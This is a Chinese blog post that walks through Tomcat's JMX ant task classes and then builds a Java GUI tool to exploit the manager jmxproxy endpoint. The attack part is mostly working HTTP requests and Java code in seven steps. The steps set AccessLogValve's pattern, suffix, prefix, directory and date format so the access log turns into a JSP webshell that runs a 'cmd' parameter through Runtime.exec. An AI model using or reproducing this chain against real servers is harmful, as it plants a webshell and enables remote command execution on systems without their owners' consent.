审计视频已经上传到百度网盘了链接自取:
链接:https://pan.baidu.com/s/1r6dMBU9t9uEVig3SP5tSTw
提取码:kn03
--来自百度网盘超级会员V1的分享
参考:一种Tomcat的利用方式 | 4ra1n
长话短说就是 jmx这个组件 可以获取jvm运行中的类信息 和查看,也可以进行设置
当时入门安全的时候 也是在迪哥群里认识的,不得不说 实属牛批,许少的小迷弟。之前参考 tomcat 特殊内存马 也让我学到了另一种权限维持的姿势。
编程技术 也是烂的很,底层的东西暂时分析不了,哎
下载了tomcat的源码 好奇 还是想看看代码
漏洞的源代码位于
apache-tomcat-9.0.50-src\java\org\apache\catalina\ant
存在一个antilb.xml 简单看一下
引用了三个类
逐个类 看一看 目前我的技术也只能看懂一点 细节啥的就gg了
JMXSetTask
设置任务
三个变量
get set方法
JMXGetTask
获取任务
定义两个变量
protected String bean = null; protected String attribute = null;
基础的 变量 get set方法
判断变量是否有数据 执行方法 将数据url编码
JMXQueryTask
查询任务 也是url编码
看上去 没多少行代码,实际上 细节部分在 jmx包下 不过不是今天的主题了
因为最近项目很忙,好长时间没接触代码,有些生疏。看了4ra1n的博客,感觉这个很有意思,和spring rce简直一模一样,许少写的利用工具是 go的 我不会,想着动手练习下java,顺便写个java的。
发送http请求的话,java 中有几个,如 原生的 urlconnection apache的 httpclinets
spring的RestTemplate 和 okhttp3 等
tomcat 配置文件添加登录认证
conf/tomcat-users.xml
<user username="admin" password="123456" roles="manager-jmx"/>
手动发包 需要七次
用代码发送 也需要七次
修改日志格式为一句话:于是每条新日志都会变成一句话 注意不能包含特殊符号,所以使用%{header}i从请求头中提取<%等特殊符号 修改日志后缀为:JSP 修改日志前缀为:shell(只要可控即可无需在意具体是什么) 修改日志目录为可以解析JSP的目录:例如默认的webapps/ROOT 修改日志文件名时间格式目的是使rotate创建新文件,写入JSP马 带有特殊请求头的请求即可写入Webshell
绘制界面
添加逻辑代码
主要是分两点,
一个是url 拼接参数
二个是 加 base64认证
步骤1
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password) String url = "http://" + host.getText() + ":" + port.getText(); String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69"; String http = url + payload; // base64认证 String authString = user.getText() + ":" + pass.getText(); byte[] authEncBytes = Base64.encode(authString.getBytes()); String authStringEnc = new String(authEncBytes); URL obj = new URL(http); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestProperty("Authorization", "Basic " + authStringEnc);
步骤2
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password) String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getTex
步骤3
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password) String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText()
步骤4
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password) String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=A
步骤5
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password) String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host="+host.getText()+",name=
步骤6
GET / HTTP/1.1 Host: 127.0.0.1:8080 Connection: close p: <% s: %>// con.setRequestProperty("p", "<%"); con.setRequestProperty("s", "%>//");
步骤7
GET /shell.jsp?cmd=calc.exe HTTP/1.1 Host: 127.0.0.1:8080 Connection: clos
最终效果
代码比较烂,主要是练习下,顺便巩固下基础。